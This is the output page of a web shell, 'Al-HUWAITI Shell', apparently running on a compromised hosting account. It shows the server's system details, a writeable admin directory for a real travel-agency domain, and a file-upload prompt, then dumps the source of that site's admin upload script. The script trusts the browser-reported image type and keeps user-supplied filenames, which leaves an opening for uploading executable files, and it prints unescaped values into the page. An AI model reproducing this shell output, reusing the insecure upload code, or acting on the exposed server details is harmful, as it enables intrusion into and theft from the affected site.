Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1112.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u451330669 ( 451330669)
PHP Version : 8.2.27
Disable Function : NONE
Directory :  /home/u451330669/domains/heertourstravels.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u451330669/domains/heertourstravels.in/public_html/admin/manage_client.php
<?php
require('top.inc.php');
$client='';
$description='';
$image='';
$msg='';
$image_required='required';
if(isset($_GET['id']) && $_GET['id']!=''){

  $image_required='';
  $id=get_safe_value($con,$_GET['id']);
  $res=mysqli_query($con,"select * from client where id='$id'");
  $check=mysqli_num_rows($res);
  if($check>0){
    $row=mysqli_fetch_assoc($res);
      $client=$row['client']; 
    $description=$row['description']; 
    
  }else{
    header('location:client.php');
    die();
  }
}
if(isset($_POST['submit'])){
   $client=get_safe_value($con,$_POST['client']);
  $description=get_safe_value($con,$_POST['description']);
  $res=mysqli_query($con,"select * from client where description='$description' ");
  $check=mysqli_num_rows($res);
  if($check>0){
    if(isset($_GET['id']) && $_GET['id']!=''){
      $getData=mysqli_fetch_assoc($res);
      if($id==$getData['id']){
        
      }else{
        $msg="description already   exist";
      }
    }else{
      $msg="description already  exist";
    }
  }





  if(isset($_GET['id']) && $_GET['id']==0){
    if($_FILES['image']['type']!='image/png' && $_FILES['image']['type']!='image/gif' && $_FILES['image']['type']!='image/jpg' && $_FILES['image']['type']!='image/jpeg' ){
      $msg="Please select only gif,png,jpg and jpeg image formate";
    }
  }else{
    if($_FILES['image']['type']!=''){
        if($_FILES['image']['type']!='image/png'&& $_FILES['image']['type']!='image/gif' && $_FILES['image']['type']!='image/jpg' && $_FILES['image']['type']!='image/jpeg' ){
        $msg="Please select only png,gif,jpg and jpeg image formate";
      }
    }
  }
  
  if($msg==''){
    if(isset($_GET['id']) && $_GET['id']!=''){
      if($_FILES['image']['name']!=''){     
        $image=rand(111111111,999999999).'_'.$_FILES['image']['name'];
      
        move_uploaded_file($_FILES['image']['tmp_name'],PRODUCT_IMAGE_SERVER_PATH.$image);          
        $update_sql="update client set client='$client',description='$description',image='$image' where id='$id'";
    }else{
       $update_sql="update client set client='$client' , description='$description'  where id='$id'";
      }
      mysqli_query($con,$update_sql);
    }else{
      
    $image=rand(111111111,999999999).'_'.$_FILES['image']['name'];
          
      move_uploaded_file($_FILES['image']['tmp_name'],PRODUCT_IMAGE_SERVER_PATH.$image);
            
      mysqli_query($con,"insert into client(client,description,status,image)values('$client','$description',1,'$image')");
    }
    header('location:client.php');
    die();
  }
}
?>
 <div class="main-panel">        
        <div class="content-wrapper">
          <div class="row">
      <h1 class="card-title ml10">Manage Review</h1>
            <div class="col-12 grid-margin stretch-card">
              <div class="card">
                <div class="card-body">
                        <form method="post" enctype="multipart/form-data">
              <div class="card-body card-block">
                <div class="form-group">
                  <label for="name" class=" form-control-label">client</label>
                  <input type="text" name="client" placeholder="Enter client" class="form-control"  value="<?php echo $client?>">
                </div>
                <div class="form-group">
                  <label for="description" class=" form-control-label">Image</label>
                  <input type="file" name="image" class="form-control" <?php echo  $image_required?>>
                </div>

                 <div class="row">
                      <div class="col-md-12">                
                            <div class="form-group">
                  <label for="cname">description</label>
                  <textarea class="form-control" rows="5" name="description" style="remeta_desc: none;" >
                    <?php echo $description?></textarea>
                </div>
                                                            </div>
                                                           </div> 
                
                
                  
                
                
                 <button id="payment-button" name="submit" type="submit" class="btn btn-lg btn-info btn-block">
                 <span id="payment-button-amount">Submit</span>
                 </button>
                 <div class="field_error"><?php echo $msg?></div>
             
            </form>
                     </div>
                  </div>
               </div>
            </div>
         </div>



<script src="https://cdn.ckeditor.com/4.5.1/standard/ckeditor.js"></script>
 <script>
 
CKEDITOR.replace('description');

CKEDITOR.editorConfig = function (config) {
    config.language = 'es';
    config.uiColor = '#F7B42C';
    config.height = 300;
    config.toolbarCanCollapse = true;

};
CKEDITOR.replace('terms');

 
 </script>

         
<?php
require('footer.inc.php');
?>

Al-HUWAITI Shell